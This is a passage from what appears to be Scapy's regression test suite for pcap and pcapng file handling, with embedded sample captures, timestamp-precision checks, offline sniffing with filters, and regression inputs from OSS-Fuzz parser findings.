BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x00\\x00e\\x00\\x00\\x00\\xcf\\xc5\\xacVo*\\n\\x00(\\x00\\x00\\x00(\\x00\\x00\\x00E\\x00\\x00(\\x00\\x01\\x00\\x00@\\x06|\\xcd\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x91|\\x00\\x00\\xcf\\xc5\\xacV_-\\n\\x00\\x1c\\x00\\x00\\x00\\x1c\\x00\\x00\\x00E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x11|\\xce\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x00\\x08\\x01r\\xcf\\xc5\\xacV\\xf90\\n\\x00\\x1c\\x00\\x00\\x00\\x1c\\x00\\x00\\x00E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x01|\\xde\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08\\x00\\xf7\\xff\\x00\\x00\\x00\\x00')\npcapngfile = BytesIO(b'\\n\\r\\r\\n\\\\\\x00\\x00\\x00M<+\\x1a\\x01\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x01\\x00,\\x00File created by merging: \\nFile1: test.pcap \\n\\x04\\x00\\x08\\x00mergecap\\x00\\x00\\x00\\x00\\\\\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\\\\\x00\\x00\\x00e\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\x02\\x006\\x00Unknown/not available in original file format(libpcap)\\x00\\x00\\t\\x00\\x01\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\\\\x00\\x00\\x00\\x06\\x00\\x00\\x00H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8d*\\x05\\x00/\\xfc[\\xcd(\\x00\\x00\\x00(\\x00\\x00\\x00E\\x00\\x00(\\x00\\x01\\x00\\x00@\\x06|\\xcd\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x91|\\x00\\x00H\\x00\\x00\\x00\\x06\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8d*\\x05\\x00\\x1f\\xff[\\xcd\\x1c\\x00\\x00\\x00\\x1c\\x00\\x00\\x00E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x11|\\xce\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x00\\x08\\x01r<\\x00\\x00\\x00\\x06\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8d*\\x05\\x00\\xb9\\x02\\\\\\xcd\\x1c\\x00\\x00\\x00\\x1c\\x00\\x00\\x00E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x01|\\xde\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08\\x00\\xf7\\xff\\x00\\x00\\x00\\x00<\\x00\\x00\\x00')\npcapnanofile = BytesIO(b\"M<\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x00\\x00e\\x00\\x00\\x00\\xcf\\xc5\\xacV\\xc9\\xc1\\xb5'(\\x00\\x00\\x00(\\x00\\x00\\x00E\\x00\\x00(\\x00\\x01\\x00\\x00@\\x06|\\xcd\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x91|\\x00\\x00\\xcf\\xc5\\xacV-;\\xc1'\\x1c\\x00\\x00\\x00\\x1c\\x00\\x00\\x00E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x11|\\xce\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x00\\x08\\x01r\\xcf\\xc5\\xacV\\x9aL\\xcf'\\x1c\\x00\\x00\\x00\\x1c\\x00\\x00\\x00E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x01|\\xde\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08\\x00\\xf7\\xff\\x00\\x00\\x00\\x00\")\npcapwirelenfile = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\x01\\x00\\x00\\x00}\\x87pZ.\\xa2\\x08\\x00\\x0f\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff GG\\xee\\xdd\\xa8\\x90\\x00a')\npcapngdefaults = BytesIO(base64.b64decode(b'Cg0NChwAAABNPCsaAQAAAP//////////HAAAAAEAAAAgAAAAEgEAAP//AAAJAAEACUeZiQAAAAAgAAAAAQAAACAAAAASAQAA//8AAAkAAQAJAAAAAAAAACAAAAABAAAAIAAAABIBAAD//wAACQABAAkAAAAAAAAAIAAAAAEAAAAgAAAAEgEAAP//AAAJAAEACQAAAAAAAAAgAAAABgAAAIQBAAADAAAApO/bFdgJaeBiAQAAYgEAAFVVVVVVVVXV////////IMbr4D7PCABFAAFIlQkAAEAR5JwAAAAA/////wBEAEMBNJDsAQEGAFSpVwIACoAAAAAAAAAAAAAAAAAAAAAAACDG6+A+zwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEB/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsOs+bAAAhAEAAAYAAACAAQAAAwAAAKTv2xXIDYznYAEAAGABAABVVVVVVVVV1QEAXn//+iDG6+A+zwgARQABRgGPAAAEEal3qf5wqO////rhbgdsATJi0U5PVElGWSAqIEhUVFAvMS4xDQpIT1NUOiAyMzkuMjU1LjI1NS4yNTA6MTkwMA0KQ0FDSEUtQ09OVFJPTDogbWF4LWFnZT0xODAwDQpMT0NBVElPTjogaHR0cDovLzE2OS4yNTQuMTEyLjE2ODo1NTAwMC9ucmMvZGRkLnhtbA0KTlQ6IHV1aWQ6NEQ0NTQ5MzAtMDIwMC0xMDAwLTgwMDEtMjBDNkVCRTAzRUNGDQpOVFM6IHNzZHA6YWxpdmUNClNFUlZFUjogRnJlZUJTRC84LjAgVVBuUC8xLjAgUGFuYXNvbmljLU1JTC1ETE5BLVNWLzEuMA0KVVNOOiB1dWlkOjRENDU0OTMwLTAyMDAtMTAwMC04MDAxLTIwQzZFQkUwM0VDRg0KDQpcQcvWgAEAAAYAAAC4AQAAAwAAAKTv2xV4Ao3nlQEAAJUBAABVVVVVVVVV1QEAXn//+iDG6+A+zwgARQABewGQAAAEEalBqf5wqO////rhbgdsAWfu+k5PVElGWSAqIEhUVFAvMS4xDQpIT1NUOiAyMzkuMjU1LjI1NS4yNTA6MTkwMA0KQ0FDSEUtQ09OVFJPTDogbWF4LWFnZT0xODAwDQpMT0NBVElPTjogaHR0cDovLzE2OS4yNTQuMTEyLjE2ODo1NTAwMC9ucmMvZGRkLnhtbA0KTlQ6IHVybjpwYW5hc29uaWMtY29tOmRldmljZTpwMDBSZW1vdGVDb250cm9sbGVyOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBGcmVlQlNELzguMCBVUG5QLzEuMCBQYW5hc29uaWMtTUlMLURMTkEtU1YvMS4wDQpVU046IHV1aWQ6NEQ0NTQ5MzAtMDIwMC0xMDAwLTgwMDEtMjBDNkVCRTAzRUNGOjp1cm46cGFuYXNvbmljLWNvbTpkZXZpY2U6cDAwUmVtb3RlQ29udHJvbGxlcjoxDQoNCrLVKmoAAAC4AQAABgAAAHgBAAADAAAApO/bFVjbjedXAQAAVwEAAFVVVVVVVVXVAQBef//6IMbr4D7PCABFAAE9AZEAAAQRqX6p/nCo7///+uFuB2wBKaZATk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTE4MDANCkxPQ0FUSU9OOiBodHRwOi8vMTY5LjI1NC4xMTIuMTY4OjU1MDAwL25yYy9kZGQueG1sDQpOVDogdXBucDpyb290ZGV2aWNlDQpOVFM6IHNzZHA6YWxpdmUNClNFUlZFUjogRnJlZUJTRC84LjAgVVBuUC8xLjAgUGFuYXNvbmljLU1JTC1ETE5BLVNWLzEuMA0KVVNOOiB1dWlkOjRENDU0OTMwLTAyMDAtMTAwMC04MDAxLTIwQzZFQkUwM0VDRjo6dXBucDpyb290ZGV2aWNlDQoNCjagXoUAeAEAAAYAAAC0AQAAAwAAAKTv2xXYw47nkwEAAJMBAABVVVVVVVVV1QEAXn//+iDG6+A+zwgARQABeQGSAAAEEalBqf5wqO////rhbgdsAWWV4E5PVElGWSAqIEhUVFAvMS4xDQpIT1NUOiAyMzkuMjU1LjI1NS4yNTA6MTkwMA0KQ0FDSEUtQ09OVFJPTDogbWF4LWFnZT0xODAwDQpMT0NBVElPTjogaHR0cDovLzE2OS4yNTQuMTEyLjE2ODo1NTAwMC9ucmMvZGRkLnhtbA0KTlQ6IHVybjpwYW5hc29uaWMtY29tOnNlcnZpY2U6cDAwTmV0d29ya0NvbnRyb2w6MQ0KTlRTOiBzc2RwOmFsaXZlDQpTRVJWRVI6IEZyZWVCU0QvOC4wIFVQblAvMS4wIFBhbmFzb25pYy1NSUwtRExOQS1TVi8xLjANClVTTjogdXVpZDo0RDQ1NDkzMC0wMjAwLTEwMDAtODAwMS0yMEM2RUJFMDNFQ0Y6OnVybjpwYW5hc29uaWMtY29tOnNlcnZpY2U6cDAwTmV0d29ya0NvbnRyb2w6MQ0KDQovXKFrALQBAAAGAAAAqAEAAAMAAACk79sVuJKP54cBAACHAQAAVVVVVVVVVdUBAF5///ogxuvgPs8IAEUAAW0BkwAABBGpTKn+cKjv///64W4HbAFZRNJOT1RJRlkgKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCkNBQ0hFLUNPTlRST0w6IG1heC1hZ2U9MTgwMA0KTE9DQVRJT046IGh0dHA6Ly8xNjkuMjU0LjExMi4xNjg6NTUwMDAvbnJjL2RkZC54bWwNCk5UOiB1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBGcmVlQlNELzguMCBVUG5QLzEuMCBQYW5hc29uaWMtTUlMLURMTkEtU1YvMS4wDQpVU046IHV1aWQ6NEQ0NTQ5MzAtMDIwMC0xMDAwLTgwMDEtMjBDNkVCRTAzRUNGOjp1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENCg0KLn5A6QCoAQAA'))\n\n= Read a pcap file\npktpcap = rdpcap(pcapfile)\n\n= Read a pcapng file\npktpcapng = rdpcap(pcapngfile)\nassert pktpcapng[0].time == 1454163407.666223\n\n= Read a pcap file with nanosecond precision\npktpcapnano = rdpcap(pcapnanofile)\nassert pktpcapnano[0].time == 1454163407.666223049\n\n= Read a pcapng file with nanosecond precision and default tsresol\npktpcapngdefaults = rdpcap(pcapngdefaults)\nassert pktpcapngdefaults[0].time == 1575115986.114775512\nassert Ether in pktpcapngdefaults[0]\n\n= Read a pcapng with little-endian SHB\npktcapng = sniff(offline=scapy_path(\"/test/pcaps/macos.pcapng.gz\"))\nassert len(pktcapng) != 0\n\n= Write a pcapng\n\ntmpfile = get_temp_file(autoext=\".pcapng\")\nr = RawPcapNgWriter(tmpfile)\nr._write_block_shb()\nr._write_block_idb(linktype=DLT_EN10MB)\nts = 1632568366.384185\nr._write_block_epb(raw(Ether()/\"Hello Scapy!!!\"), ifid=0, timestamp=ts)\nr.f.close()\n\nassert os.stat(tmpfile).st_size == 108\n\nl = rdpcap(tmpfile)\nassert b\"Scapy\" in l[0][Raw].load\nassert l[0].time == ts\n\n= Check wrpcapng()\n\ntmpfile = get_temp_file(autoext=\".pcapng\")\np = Ether()/\"Hello Scapy!!!\"\np.time = 1632568366.384185\nwrpcapng(tmpfile, p)\n\nassert os.stat(tmpfile).st_size == 108\n\nl = rdpcap(tmpfile)\nassert b\"Scapy\" in l[0][Raw].load\nassert l[0].time == ts\n\np = Ether() / IPv6() / TCP()\np.comment = b\"Hello Scapy!\"\nwrpcapng(tmpfile, p)\nl = rdpcap(tmpfile)\nassert l[0].comment == p.comment\n\np = Ether() / IPv6() / TCP()\np.comments = [b\"Hello!\", b\"Scapy!\", b\"Pcapng!\"]\nwrpcapng(tmpfile, p)\nl = rdpcap(tmpfile)\nassert l[0].comments == p.comments\n\n= rdpcap on fifo\n~ linux\nf = get_temp_file()\nos.unlink(f)\nos.mkfifo(f)\np = Ether(bytes(Ether(dst=\"ff:ff:ff:ff:ff:ff\")/\"Hello Scapy!!!\"))\ns = AsyncSniffer(offline=f)\ns.start()\nwrpcap(f, p)\ns.join(timeout=1)\nassert s.results[0] == p\n\n= Check multiple packets with different combination of linktype,comment,direction,sniffed_on fields. test both wrpcap() and wrpcapng()\nimport random,string\nrandom.seed(0x2807)\nplist = []\nptypes = []\nptypes.append(Ether((Ether() / IPv6() / TCP()).build())) \nptypes.append(IP((IP() / IPv6() / TCP()).build()))\nifaces=[None,'','i','int0',''.join(random.choices(string.printable,k=20))]\ncomments=[None,'','a','abcd',''.join(random.choices(string.printable,k=20))]\ndirections=[None,0,1,2,3]\n\nfor iface in ifaces:\n    for comment in comments:\n        if comment is not None:\n            comment=comment.encode('utf-8')\n        for direction in directions:\n            for p in ptypes:\n                if iface is not None and type(ptypes[ifaces.index(iface) % len(ptypes)]) != type(p):\n                    continue\n                pnew = p.copy()\n                pnew.time = 1632568366.384185\n                pnew.sniffed_on = iface\n                pnew.direction = direction\n                pnew.comment = comment\n                plist.append(pnew)\n\nrandom.shuffle(plist)\ntmpfile = get_temp_file(autoext=\".pcapng\")\nwrpcapng(tmpfile, plist)\nplist_check = rdpcap(tmpfile)\nassert len(plist_check) == len(plist)\nfor i in range(len(plist)):\n    assert plist_check[i].comment == plist[i].comment\n    assert plist_check[i].direction == plist[i].direction\n    assert plist_check[i].sniffed_on == plist[i].sniffed_on\n    assert plist_check[i].time == plist[i].time\n    #if interface is unknown, verify pkt bytes integrity and that linktype was set to first packet \n    if plist[i].sniffed_on is None:\n        assert bytes(plist_check[i]) == bytes(plist[i])\n        assert type(plist_check[i]) == type(plist[0])\n    else:\n        assert plist_check[i] == plist[i]\n\ntmpfile = get_temp_file(autoext=\".pcap\")\nwrpcap(tmpfile, plist)\nplist_check = rdpcap(tmpfile)\nfor i in range(len(plist)):\n    assert plist_check[i].time == plist[i].time\n    assert type(plist_check[i]) == type(plist[0])\n    assert bytes(plist_check[i]) == bytes(plist[i])\n\n= PcapNg - Process Information Block\n\npib_pcapng_file = BytesIO(b'\\n\\r\\r\\n\\xbc\\x00\\x00\\x00M<+\\x1a\\x01\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x02\\x00\\x05\\x00arm64\\x00\\x00\\x00\\x03\\x00f\\x00Darwin Kernel Version 23.3.0: Thu Dec 21 02:29:41 PST 2023; root:xnu-10002.81.5~11/RELEASE_ARM64_T8122\\x00\\x00\\x04\\x00 \\x00tcpdump (libpcap version 1.10.1)\\x00\\x00\\x00\\x00\\xbc\\x00\\x00\\x00\\x01\\x00\\x00\\x00 \\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x02\\x00\\x03\\x00en0\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x01\\x00\\x00\\x80 \\x00\\x00\\x00$\\'\\x00\\x00\\x02\\x00\\x06\\x00trustd\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x01\\x00\\x00\\x80$\\x00\\x00\\x00\")\\x00\\x00\\x02\\x00\\x0c\\x00mobileassetd\\x00\\x00\\x00\\x00$\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x90\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfb\\x18\\x06\\x00EcqdB\\x00\\x00\\x00B\\x00\\x00\\x00\\xe8\\x9f\\x80\\xfa\\x8c\\xc6P\\xa6\\xd8\\xd5\\x83v\\x08\\x00E\\x00\\x004\\x00\\x00@\\x00@\\x06\\x90T\\nh\\x01\\xc3\\xc0\\xe5\\xdd_\\xf4\\xb8\\x00P\\x95\\xc3\\xcb\\x01\\xcb\\xeb\\x11\\xe8\\x80\\x11\\x08\\x00\\x0c\\xe6\\x00\\x00\\x01\\x01\\x08\\n\\xbe\\xb8\\xd4\\xb3\\xbb\\x9b4\\xbc\\x00\\x00\\x01\\x80\\x04\\x00\\x00\\x00\\x00\\x00\\x03\\x80\\x04\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x04\\x00\\x02\\x00\\x00\\x00\\x02\\x80\\x04\\x00\\x00\\x00\\x00\\x00\\x04\\x80\\x04\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\x00\\x00\\x00')\n\nl = rdpcap(pib_pcapng_file)\nassert(len(l) == 1)\nassert(TCP in l[0])\nassert(len(l[0].process_information) == 2)\nassert(l[0].process_information[\"proc\"][\"name\"] == \"trustd\")\n\n= OSS-Fuzz Findings\n\nfrom io import BytesIO\n# Issue 68352\nfile = BytesIO(b\"\\n\\r\\r\\n\\x1c\\x00\\x00\\x00M<+\\x1a\\x01\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x1c\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xe4\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00(\\x00\\x00\\x00\\xe4\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x02\\x00\\t\\x00b'ens16\\xb0'\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x06\\x00\\x00\\x004\\x00\\x00\\x00\\x01\\x00\\x00\\x00}\\x17\\x06\\x00\\xb5t\\x1d\\x85\\x14\\x00\\x00\\x00\\x14\\x00\\x00\\x00E\\x00\\x00\\x14\\x00\\x01\\x00\\x00@\\x00|\\xe7\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x014\\x00\\x00\\x00\")\nrdpcap(file)\n\n# Issue 68354\nfile = BytesIO(b'\\n\\r\\r\\n\\xff\\xfe\\xfe\\xffM<+\\x1a')\ntry:\n    rdpcap(file)\nexcept Scapy_Exception:\n    pass\n\n# Issue #70115\nfile = BytesIO(b\"\\n\\r\\r\\n\\x00\\x00\\x008\\x1a+<M\\x00\\x01\\x00\\x00\\xef\\xff\\xff\\x81\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x009\\x00\\x00\\x00\\x01\\x00\\x00\\x000\\x00e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x008\\x00\\x00\\x00\\x06\\x00\\x00\\x00d\\x00\\x00\\x00\\x00'\\x00\\x00\\x00\\x01\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x01\\x00\\x00\\x000\\x00\\x00\\x00\\x01\\x00\\x00\\x008\\x00\\x00\\n\\x0c\\x00A\\x05\\xc0\\x01\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000\\x00\\x00\\x00\\x01\\x00\\x00\\x008\\x00\\x00\\n\\x0c\\x00A\\x05\\xc0\\x83\\x00\\x00\\x043\\x01\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00d\")\nl = rdpcap(file)\n\n# Issue #69628\nfile = BytesIO(b\"\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\x01\\x00\\x00\\x00\\x04{\\xdcf\\xc2\\xa5\\x07\\x008\\x00\\x00\\x008\\x00\\x00\\x00A]+\\xdb]\\x04\\x8e(6\\n\\x99\\xcb\\x08\\x00E\\x00\\x00*\\x00\\x01\\x00\\x00@\\x06\\xe3V\\x07\\x87\\xa5m\\x17\\x15\\xd3m\\x01\\x85\\x01\\x85\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xc5_\\x00\\x000\\x00\")\nl = rdpcap(file)\nassert l[0][LDAP].summary() == \"LDAP\"\n\n# Issue #69628 - 32-bit alternative\nfile = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\x01\\x00\\x00\\x00%\\xa8\\xddfK\\x1b\\x05\\x00\\xca\\xca\\xca\\xca*\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x86\"\\x11&\\xab3\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01]\\x80\\x0f\\x13*r\\n\\x00\\x02\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nl = rdpcap(file)\nassert len(l) == 0 or ARP in l[0]\n\n# Read PCAPNG file with tightly packed comment option, no End of Options\nfile = BytesIO(b'\\n\\r\\r\\n\\x1c\\x00\\x00\\x00M<+\\x1a\\x01\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x1c\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x14\\x00\\x00\\x00\\x06\\x00\\x00\\x00,\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x08\\x00Helloooo,\\x00\\x00\\x00')\nl = rdpcap(file)\nassert len(l) == 1 and l[0].comment == b'Helloooo'\n\n= Read a pcap file with wirelen != captured len\npktpcapwirelen = rdpcap(pcapwirelenfile)\n\n= Check all packet lists are the same\nassert list(pktpcap) == list(pktpcapng) == list(pktpcapnano)\nassert [float(p.time) for p in pktpcap] == [float(p.time) for p in pktpcapng] == [float(p.time) for p in pktpcapnano]\n\n= Check packets from pcap file\nassert all(IP in pkt for pkt in pktpcap)\nassert all(any(proto in pkt for pkt in pktpcap) for proto in [ICMP, UDP, TCP])\n\n= Check wirelen value from pcap file\nassert len(pktpcapwirelen) == 1\nassert pktpcapwirelen[0].wirelen is not None\nassert len(pktpcapwirelen[0]) < pktpcapwirelen[0].wirelen\n\n= Check wrpcap() then rdpcap() with wirelen\nimport os, tempfile\nfdesc, filename = tempfile.mkstemp()\nfdesc = os.fdopen(fdesc, \"wb\")\nwrpcap(fdesc, pktpcapwirelen)\nfdesc.close()\nnewpktpcapwirelen = rdpcap(filename)\nassert len(newpktpcapwirelen) == 1\nassert newpktpcapwirelen[0].wirelen is not None\nassert len(newpktpcapwirelen[0]) < newpktpcapwirelen[0].wirelen\nassert newpktpcapwirelen[0].wirelen == pktpcapwirelen[0].wirelen\n\n= Check wrpcap() then rdpcap() with sent_time on SndRcvList\nf = get_temp_file()\ns = Ether()/IP()\nr = Ether()/IP()\ns.sent_time = 1\nr.time = 2\nwrpcap(f, SndRcvList([(s, r)]))\npcap = rdpcap(f)\nassert pcap[0].time == 1\nassert pcap[1].time == 2\n\n= Check wrpcap()\nfdesc, filename = tempfile.mkstemp()\nfdesc = os.fdopen(fdesc, \"wb\")\nwrpcap(fdesc, pktpcap)\nfdesc.close()\n\n= Check offline sniff() (by PacketList)\nl=sniff(offline=PacketList([IP()/TCP(),IP()/TCP()]))\nassert len(l) == 2\nassert all(TCP in p for p in l)\n\n= Check offline sniff() (by filename)\nassert list(pktpcap) == list(sniff(offline=filename))\n\n= Check offline sniff() (by file object)\nfdesc = open(filename, \"rb\")\nassert list(pktpcap) == list(sniff(offline=fdesc))\nfdesc.close()\n\n= Check offline sniff() with a filter (by filename)\n~ tcpdump libpcap\npktpcap_flt = [(proto, sniff(offline=filename, filter=proto.__name__.lower()))\n               for proto in [ICMP, UDP, TCP]]\nassert all(list(pktpcap[proto]) == list(packets) for proto, packets in pktpcap_flt)\n\n= Check offline sniff() with a filter (by file object)\n~ tcpdump libpcap\nfdesc = open(filename, \"rb\")\npktpcap_tcp = sniff(offline=fdesc, filter=\"tcp\")\nfdesc.close()\nassert list(pktpcap[TCP]) == list(pktpcap_tcp)\nos.unlink(filename)\n\n= Check offline sniff() with a PcapNg file and a filter (by file object)\n~ tcpdump libpcap\n\npcapng_data = b'\\n\\r\\r\\n`\\x00\\x00\\x00M<+\\x1a\\x01\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x04\\x009\\x00TShark (Wireshark) 3.2.3 (Git v3.2.3 packaged as 3.2.3-1)\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xe4\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\x14\\x00\\x00\\x00\\x06\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x98\\xcd\\x05\\x00\\x19\\x83\\xf7\\x9e\\x1c\\x00\\x00\\x00\\x1c\\x00\\x00\\x00E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x11|\\xce\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x00\\x08\\x01r<\\x00\\x00\\x00'\n\nif OPENBSD:\n    # Note: OpenBSD tcpdump does not support PcapNg\n    assert True\nelse:\n    fdesc, filename = tempfile.mkstemp()\n    os.close(fdesc)\n    fd = open(filename, \"wb\")\n    fd.write(pcapng_data)\n    fd.close()\n    packets = sniff(offline=filename, filter=\"udp\")\n    os.unlink(filename)\n    assert UDP in packets[0]\n\n= Check offline sniff() with Packets and tcpdump with a filter\n~ tcpdump libpcap\n\nl = sniff(offline=IP()/UDP(sport=(10000, 10001)), filter=\"udp\")\nassert len(l) == 2\nassert all(UDP in p for p in l)\n\nl = sniff(offline=[p for p in IP()/UDP(sport=(10000, 10001))], filter=\"udp\")\nassert len(l) == 2\nassert all(UDP in p for p in l)\n\nl = sniff(offline=IP()/UDP(sport=(10000, 10001)), filter=\"tcp\")\nassert len(l) == 0\n\n= Check offline sniff() with Packets, tcpdump and a bad filter\n~ tcpdump libpcap \n\ntry:\n    sniff(offline=IP()/UDP(), filter=\"bad filter\")\nexcept Scapy_Exception:\n    pass\nelse:\n    assert False\n\n= Check online sniff() with a bad filter\n~ needs_root tcpdump libpcap\ntry:\n    sniff(timeout=0, filter=\"bad filter\")\nexcept Scapy_Exception:\n    pass\nelse:\n    assert False\n\n= Check offline sniff with lfilter\nassert len(sniff(offline=[IP()/UDP(), IP()/TCP()], lfilter=lambda x: TCP in x)) == 1\n\n= Check offline sniff() without a tcpdump binary\n~ tcpdump\nfrom unittest import mock\n\nconf_prog_tcpdump = conf.prog.tcpdump\nconf.prog.tcpdump = \"tcpdump_fake\"\n\ndef _test_sniff_notcpdump():\n    try:\n        sniff(offline=\"fake.pcap\", filter=\"tcp\")\n        assert False\n    except:\n        assert True\n\n_test_sniff_notcpdump()\nconf.prog.tcpdump = conf_prog_tcpdump\n\n= Check wrpcap(nano=True)\nfdesc, filename = tempfile.mkstemp()\nfdesc = os.fdopen(fdesc, \"wb\")\npktpcapnano[0].time += Decimal('1E-9')\nwrpcap(fdesc, pktpcapnano, nano=True)\nfdesc.close()\npktpcapnanoread = rdpcap(filename)\nassert pktpcapnanoread[0].time == pktpcapnano[0].time\nos.unlink(filename)\n\n= Check PcapNg with nanosecond precision using obsolete packet block\n* first packet from capture file icmp2.ntar -- https://wiki.wireshark.org/Development/PcapNg?action=AttachFile&do=view&target=icmp2.ntar\npcapngfile = 